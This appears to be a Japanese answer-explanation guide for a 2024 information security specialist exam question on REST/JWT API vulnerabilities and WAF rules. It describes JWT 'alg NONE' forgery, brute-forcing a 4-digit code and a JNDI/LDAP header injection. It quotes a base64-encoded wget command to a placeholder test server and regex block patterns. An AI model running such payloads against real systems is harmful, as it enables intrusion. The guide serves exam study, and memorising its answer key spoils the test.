情報処理安全確保支援士 2024年 春期 午後 問01

解答の論理構成

1. 【問題文】には「RESTful APIの設計原則の一つにセッション管理を行わないという性質がある。この性質をaという。」と記載されています。
2. REST（Representational State Transfer）は“サーバ側にクライアント状態を保持しない”ことを原則とするアーキテクチャです。
3. この原則を技術用語で「ステートレス（stateless）」と呼びます。つまり、リクエスト間でサーバにセッション情報を残さず、必要な状態は都度リクエストに含めて送信します。
4. したがって、aに入る適切な字句は「ステートレス」となります。

誤りやすいポイント

• 「セッションレス」と書き換えてしまう
  → RESTの正式な原則名は「ステートレス」であり、設問は“性質を何というか”を問うため略語や和製英語は不可です。
• 「無状態」「ステートフリー」など日本語訳をそのまま記述
  → 原文の流れに合わせるとカタカナ語「ステートレス」が一般的かつ正答。
• HTTPの“接続を保持しない”＝Keep-Alive無効と混同
  → RESTのステートレスはアプリケーション層でのクライアント状態管理を指し、TCP接続の継続とは別概念です。

FAQ

解答の論理構成

1. 前提確認
   • 認証 API は「毎回ランダムに生成される数字4桁の文字列（以下、文字列Xという）」と定義されています（表2）。
   • 診断レポートでは「1 秒間に 10 回試行する総当たり攻撃を行った場合」とあります（表3 項番4）。
2. 総当たり攻撃に必要な総試行回数
   • 4桁の数字なので、取り得る値は $10^4=10000$ 通りです。
3. 平均的な成功までの試行回数
   • ランダムに並べ替えられた 10,000 通りを順に試す場合、成功位置は一様分布になります。
   • 期待値（平均回数）は $\frac{10000+1}{2}\approx 5000$ 回です。
4. 1 秒間あたりの試行回数と所要時間
   • 1 秒間に 10 回試行できるので、所要時間は
     $\frac{5000\text{ 回}}{10\text{ 回/秒}}=500\text{ 秒}$
5. 小数点以下を四捨五入した整数
   • 既に整数なので、そのまま「500」となります。

誤りやすいポイント

• 「平均的な成功まで」は「すべて試した場合の最大時間」ではない点を取り違える。
• 試行レートを「毎秒10回」ではなく「毎分10回」と誤読する。
• 4桁＝1,000通りと勘違いし、計算を $1,000/2$ にしてしまう。
• 期待値計算で $10000/2$ とせず、端数処理を誤る。

FAQ

解答の論理構成

1. 問題文は、診断時に「“RS256”の代わりに“NONE”を指定し、“user01”を他の利用者IDに改ざんしたJWTを送信したところ、改ざんしたJWTの検証が成功」したと指摘しています。
2. さらに「ライブラリQは、JWT内のヘッダに指定されたアルゴリズムに基づいてJWTを検証する」と記載されており、alg に “NONE” を許容してしまうことが脆弱性の原因だと読み取れます。
3. したがって、改修後のライブラリQは「JWTヘッダの alg 値」を取り出し、「その値が “NONE” ではない」ことを確認する検証を追加することで、アルゴリズム混乱攻撃を防ぎます。

誤りやすいポイント

• user クレーム（利用者ID）の改ざん検出と誤解しやすいですが、本質は alg フィールドの扱いにあります。
• 署名そのものを再計算すると考えがちですが、“NONE” を禁止するだけでも攻撃を封じられる点を見落としやすいです。
• “RS256 のみ許可”と書くと、他の安全なアルゴリズム実装が将来追加された場合に柔軟性を欠く恐れがあります。

FAQ

解答の論理構成

1. 脆弱性の確認
   表3の項番2には、 「パラメータ mid に他の利用者 ID を指定すると、他の利用者 ID にひも付く利用者情報を取得、改変できてしまう。」
   とあり、mid と実際の利用者の対応付けが行われていないことが示されています。
2. 既存認証処理の限界
   図4には、 「JWT内の署名を検証した後、ペイロードに含まれた利用者IDを確認して利用者を識別し…」
   と記述されています。
   つまり JWT だけで認証は完了していますが、その後の API 呼び出しでは mid パラメータが優先され、JWT 内の利用者 ID との照合が行われていません。
3. 具体的な攻撃シナリオ
   ・攻撃者は自分の JWT（ペイロード中 "user": "attacker01"）を保持。
   ・GET /user?mid=victim01 を送信。
   ・P呼出し処理は mid=victim01 をそのまま共通モジュールPへ渡すため、他人の情報を取得 / 更新できてしまいます。
4. 対策の要点
   表5では、 「②P呼出し処理に処理を追加する」
   と求められています。
   攻撃を防ぐには、(1) JWT ペイロードの利用者 ID と (2) リクエストの mid を比較し、一致しない場合は処理を中止する必要があります。
5. したがって追加すべき処理
   JWT から取り出した利用者 ID と mid の値を照合し、一致しないリクエストを拒否するロジックであると導けます。

誤りやすいポイント

• JWT の署名検証のみで十分と誤解し、パラメータ整合性チェックを忘れる。
• mid を署名付きパラメータに置き換えればよいと考え、既存 API 仕様の維持コストを見落とす。
• 共通モジュールP側で一括制御できると判断し、P呼出し処理にチェックを入れない。

FAQ

解答の論理構成

1. 表5の設問部分
   • 「指定されたパラメータを検証せず全て c に送信していた。」
   • 「送信内容を改ざんしてパラメータ “status” を追加してリクエストを送信すると、c は利用者ステータスを変更できる。」
     ここから c には“利用者ステータスを変更する処理”を実際に担うモジュール名が入ると分かります。
2. 表2の API 仕様
   • 利用者APIの説明欄に「F社が既に開発済みの利用者管理共通ライブラリ（以下、共通モジュールPという）を利用する。」
   • 「共通モジュールPは、サービスMを呼び出して…利用者情報を取得、更新する。」
     利用者情報（＝ステータスを含む）を更新できるのは「共通モジュールP」です。
3. 照合
   • 表5ではパラメータ “status” を追加すると「利用者ステータスを変更できる」とあり、表2では「共通モジュールP」が利用者情報更新を担当。
   • よって、検証を行わず送っている先 c は「共通モジュールP」でなければ辻褄が合いません。
4. 結論
   c に入る字句は 表2 に記載の「共通モジュールP」です。

誤りやすいポイント

• 「サービスM」と混同する
  サービスMはデータベースサービスであり直接ロジックを持ちません。更新処理は「共通モジュールP」経由で行います。
• 「サービスL」を選んでしまう
  サービスLはイベント駆動の実行基盤で、具体的な利用者情報の変更は内部で呼び出す「共通モジュールP」が担当します。
• “status” パラメータが表2にないため別の新モジュールと誤解する
  表2に定義されないパラメータでも送信先は既存モジュールと読み取る必要があります。

FAQ

解答の論理構成

1. 脆弱性4の問題点
   • 【問題文】「総当たり攻撃によって、文字列 X を使った認証メカニズムを突破できる。」とあり、短桁数の “数字4桁” が狙われています。
2. 対策案の要求
   • 表5の対策欄には「次の対策を実施する。 ・d を実装する。そのしきい値は10とする。」と明記されています。
   • さらに同表で「文字列Xを数字6桁に変更する」と併記されており、主眼が“総当たり攻撃の難度上げ”にあると分かります。
3. しきい値「10」が意味するもの
   • 短時間に10回失敗したら何らかの強制措置を行うという趣旨で、典型的にはアカウントの一時利用停止（ロック）です。
4. 結論
   • 以上より d には「連続失敗回数がしきい値を超えたらアカウントをロックする処理」が入ると導けます。

誤りやすいポイント

• 「CAPTCHAを表示する」など視覚的チャレンジを想起しがちですが、しきい値“10”という具体値はアカウントロック制御の典型です。
• “JWT”や“WAF”の改修と混同し、トークン失効機構と答えてしまうケース。
• 「IPアドレス単位のブロック」を連想しがちですが、記述には“利用者”の概念が前提となっているため不適切です。

FAQ

解答の論理構成

1. 問題文の要求確認
   下線③は【図7】で示され、原文には
   “③図8で指定したコマンドが実行されたことを確認する仕組み”
   とあります。つまり「コマンドが実行された事実」を“テストサーバ”側で把握できる仕掛けを答える必要があります。
2. 実行されるコマンドの内容
   【図8】注記2に
   “d2dldCBodHRwOi8vYTIuYjIuYzIuZDlvaW5kIvaW5kZW5kaHRtbA==のデコード結果は、     wget http://a2.b2.c2.d2/index.html である。”
   と明記されています。攻撃成功時には攻撃対象サーバが test サーバ（IP“a2.b2.c2.d2”）の “index.html” を wget で取得しに来ることが分かります。
3. 確認方法の導出
   したがって test サーバで
   ・index.html への HTTP アクセスを受け付け
   ・そのアクセスをログに残す
   仕組みを用意すれば、アクセスログの有無でコマンド実行を確認できます。
4. 以上より解答は
   “テストサーバのindex.htmlへのアクセスを記録し、確認する仕組み”
   となります。

誤りやすいポイント

• コマンドがダウンロードした「Jファイル」側を監視すると誤解しやすいですが、実際に送信されるのは wget …/index.html です。
• テストサーバでは“コマンドの実行結果”を直接捕捉するのではなく、“HTTPアクセスを記録”するだけで十分です。
• “syslog で監視”や“パケットキャプチャ”など広義の方法を書いてしまい焦点がぼけるケースがあります。

FAQ

解答の論理構成

• 図6には「準備した攻撃コードをHTTPリクエストのx-api-versionヘッダの値として指定したHTTPリクエストを攻撃対象サーバに送信する。」とあります。攻撃文字列が格納される場所が明示的に“ヘッダ”である点がポイントです。
• 図5の［検証対象］の選択肢には Header が含まれており、「全てのヘッダの値を検証対象とする。」と定義されています。
• 表6は脆弱性Vを悪用する攻撃コード（${jndi:ldap://…} を含む）を検知・遮断するルールを作成する場面です。攻撃コードがヘッダに置かれる以上、検証対象は Header を選ぶ必要があります。
• ルール1のパターン ¥Wjndi¥W とルール2のパターン ¥Wldap¥W はどちらも同じヘッダ値の中に含まれる可能性が高いため、双方とも Header を指定するのが適切です。
• 以上より、表6中 e と f には同じ語句「Header」を入れる結論となります。

誤りやすいポイント

• 攻撃コードがクエリ文字列や本文に入ると誤解し、GET や POST を選んでしまう。実際にはヘッダ内に挿入される攻撃手法が説明されています。
• 図5の「ANY」を万能と捉え、安易に選択するケース。ANY は範囲が広すぎて正規表現誤検知のリスクが増えるため、必要最小限の Header を選ぶ方が望ましいです。
• Rule1 と Rule2 で異なる検証対象を選択してしまう。表6の文脈では両者とも同一ヘッダを調査する設定が前提です。

FAQ

解答の論理構成

1. 問題文には、下線④で「このような手口にも対応できるように案を変更した」とあります。ここでの「手口」とは、“jnDI”のように大文字・小文字を入れ替える手法であり、従来の ¥Wjndi¥W というパターンでは検知できないケースを指します。
2. 図5のルール記述形式では、正規表現を使って大小文字を個別に許容することが可能です。正規表現の文字クラス [xX] を用いれば、大文字・小文字のいずれか 1 文字を許容できます。
3. したがって、4 文字すべてを大小文字のいずれでもマッチさせるには、
   • j→[jJ]
   • n→[nN]
   • d→[dD]
   • i→[iI]
     と置き換え、前後に非英数字を表す ¥W を残します。
4. 以上より、変更後のルール1に記述すべきパターンは
   ¥W[jJ][nN][dD][iI]¥W
   となります。これは図5の記述形式を完全に満たし、大文字・小文字の混在にも対応できます。

誤りやすいポイント

• ^ や .* を不用意に追加してしまい、意図せず攻撃を許可・遮断してしまう。図5の要件に無い文字を加えると動作が変わります。
• [jJ][nN][dD][iI] の代わりに (j|J)(n|N)(d|D)(i|I) と書けますが、かっこを閉じ忘れる・縦棒を抜かすなどでシンタックスエラーを起こす。
• 誤って後続の ¥W を削除すると、語中やパラメータ値の一部に現れた無関係な文字列まで遮断対象となる過検知が発生します。

FAQ

解答の論理構成

• 【問題文】には“⑤本番運用開始後の一定期間においては、WAFルールの動作には”検知”を設定して、サービスYが今までどおり利用できるかを確認する”とあります。
• “検知”は図5の説明で“通信を通過させ、ログに記録し、管理者にアラートを送信する”動作です。
• もし初期設定で“遮断”にしてしまうと、誤ったパターンマッチにより正当な通信まで止める恐れがあります。可用性確保の観点から、まずは“検知”で様子を見る利点が導かれます。
• 被害を最小化するには、“検知”で得られたアラートを速やかに確認し、本当に攻撃かどうかを判断してルールを調整・強化する運用が必要です。
• 以上より、模範解答
  利点：「誤検知による遮断を防ぐことができる。」
  内容：「アラートを受信したら攻撃かどうかを精査する。」
  が妥当であると論証できます。

誤りやすいポイント

• “検知”＝通信許可と勘違いして「効果がない」と評価してしまう。実際はログとアラートが残せるのでチューニングに必須です。
• 被害最小化策を「すぐ遮断に切替える」とだけ答えてしまう。まずはアラートを確認し、正当・不正を見極めた上で段階的に対処する運用が求められます。
• “誤検知を減らす”と“過検知を減らす”の区別が曖昧になり、理由と対策が対応しなくなる点。

FAQ